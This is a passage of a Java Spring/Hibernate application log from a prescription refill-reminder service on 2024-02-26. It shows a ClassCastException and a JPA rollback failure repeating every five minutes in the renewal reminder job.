org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 18:20:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 18:20:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 18:20:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 18:20:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 18:20:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 18:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 18:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 18:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 18:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 18:25:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 18:25:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 18:25:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 18:25:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 18:25:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 18:25:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 18:25:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 18:25:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 18:25:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 18:25:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 18:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 18:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 18:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 18:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 18:30:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 18:30:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 18:30:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 18:30:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 18:30:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 18:30:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 18:30:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 18:30:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 18:30:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 18:30:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 18:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 18:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 18:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 18:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 18:35:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 18:35:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 18:35:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 18:35:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 18:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 18:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 18:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 18:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 18:35:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 18:35:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 18:35:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 18:35:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 18:35:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 18:35:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 18:40:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 18:40:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 18:40:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 18:40:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 18:40:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 18:40:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 18:40:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at 